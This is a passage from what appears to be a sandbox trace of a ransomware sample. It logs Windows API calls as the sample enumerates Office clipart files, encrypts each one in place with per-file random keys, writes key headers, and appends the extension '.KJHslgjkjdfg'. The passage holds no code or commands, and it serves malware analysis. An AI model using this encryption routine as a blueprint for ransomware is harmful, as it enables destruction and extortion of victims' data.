liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0213.668] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0213.669] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.669] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.669] GetProcessHeap () returned 0x990000 [0213.669] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0213.669] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0213.669] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.669] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0213.670] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0213.670] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0213.670] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0213.670] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0213.670] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0213.670] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.670] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.670] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.670] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5fec, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5fec, lpOverlapped=0x0) returned 1 [0213.806] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5ff0, dwBufLen=0x5ff0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5ff0) returned 1 [0213.806] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.806] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5ff0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5ff0, lpOverlapped=0x0) returned 1 [0213.806] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.806] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x60c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.806] SetEndOfFile (hFile=0x130) returned 1 [0213.808] GetProcessHeap () returned 0x990000 [0213.809] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0213.809] GetProcessHeap () returned 0x990000 [0213.809] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0213.809] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf.kjhslgjkjdfg")) returned 1 [0213.811] CloseHandle (hObject=0x130) returned 1 [0213.811] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7f4e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02790_.WMF", cAlternateFileName="")) returned 1 [0213.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.812] GetProcessHeap () returned 0x990000 [0213.812] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0213.812] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0213.812] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0213.812] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0213.918] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.918] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.918] GetProcessHeap () returned 0x990000 [0213.918] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0213.918] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0213.918] CryptDestroyKey (hKey=0x9b6628) returned 1 [0213.918] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0213.918] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0213.918] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0213.918] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0213.919] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0213.919] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0213.919] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0213.919] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0213.919] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.919] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7f4e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7f4e, lpOverlapped=0x0) returned 1 [0214.001] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7f50, dwBufLen=0x7f50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7f50) returned 1 [0214.003] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.003] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7f50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7f50, lpOverlapped=0x0) returned 1 [0214.003] CryptDestroyKey (hKey=0x9b6628) returned 1 [0214.003] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.003] SetEndOfFile (hFile=0x130) returned 1 [0214.006] GetProcessHeap () returned 0x990000 [0214.007] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0214.007] GetProcessHeap () returned 0x990000 [0214.007] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0214.007] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf.kjhslgjkjdfg")) returned 1 [0214.009] CloseHandle (hObject=0x130) returned 1 [0214.009] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x430c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02791_.WMF", cAlternateFileName="")) returned 1 [0214.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.010] GetProcessHeap () returned 0x990000 [0214.010] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0214.010] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0214.010] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0214.011] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0214.012] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0214.012] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0214.012] GetProcessHeap () returned 0x990000 [0214.012] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0214.012] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0214.012] CryptDestroyKey (hKey=0x9b6628) returned 1 [0214.012] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0214.012] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0214.012] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0214.013] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0214.013] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0214.013] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0214.013] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0214.013] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0214.013] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.013] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x430c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x430c, lpOverlapped=0x0) returned 1 [0214.014] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4310, dwBufLen=0x4310 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4310) returned 1 [0214.015] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.015] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4310, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4310, lpOverlapped=0x0) returned 1 [0214.015] CryptDestroyKey (hKey=0x9b6628) returned 1 [0214.015] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x43e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.015] SetEndOfFile (hFile=0x130) returned 1 [0214.017] GetProcessHeap () returned 0x990000 [0214.017] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0214.017] GetProcessHeap () returned 0x990000 [0214.017] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0214.017] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf.kjhslgjkjdfg")) returned 1 [0214.019] CloseHandle (hObject=0x130) returned 1 [0214.019] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5b70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02793_.WMF", cAlternateFileName="")) returned 1 [0214.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.119] GetProcessHeap () returned 0x990000 [0214.119] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0214.119] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0214.119] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0214.120] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0214.120] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0214.120] GetProcessHeap () returned 0x990000 [0214.120] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0214.120] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0214.120] CryptDestroyKey (hKey=0x9b6628) returned 1 [0214.120] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0214.122] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0214.122] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0214.122] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0214.122] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0214.123] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0214.123] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0214.123] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0214.123] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.123] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5b70, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5b70, lpOverlapped=0x0) returned 1 [0214.124] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5b70, dwBufLen=0x5b70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5b70) returned 1 [0214.124] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.124] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5b70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5b70, lpOverlapped=0x0) returned 1 [0214.124] CryptDestroyKey (hKey=0x9b6628) returned 1 [0214.124] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5c44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.124] SetEndOfFile (hFile=0x130) returned 1 [0214.127] GetProcessHeap () returned 0x990000 [0214.127] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0214.127] GetProcessHeap () returned 0x990000 [0214.127] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0214.127] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf.kjhslgjkjdfg")) returned 1 [0214.129] CloseHandle (hObject=0x130) returned 1 [0214.129] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b7a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02794_.WMF", cAlternateFileName="")) returned 1 [0214.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.131] GetProcessHeap () returned 0x990000 [0214.131] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0214.131] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0214.131] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0214.132] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0214.135] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0214.135] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0214.135] GetProcessHeap () returned 0x990000 [0214.135] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0214.135] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0214.135] CryptDestroyKey (hKey=0x9b6628) returned 1 [0214.135] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0214.135] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0214.135] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, 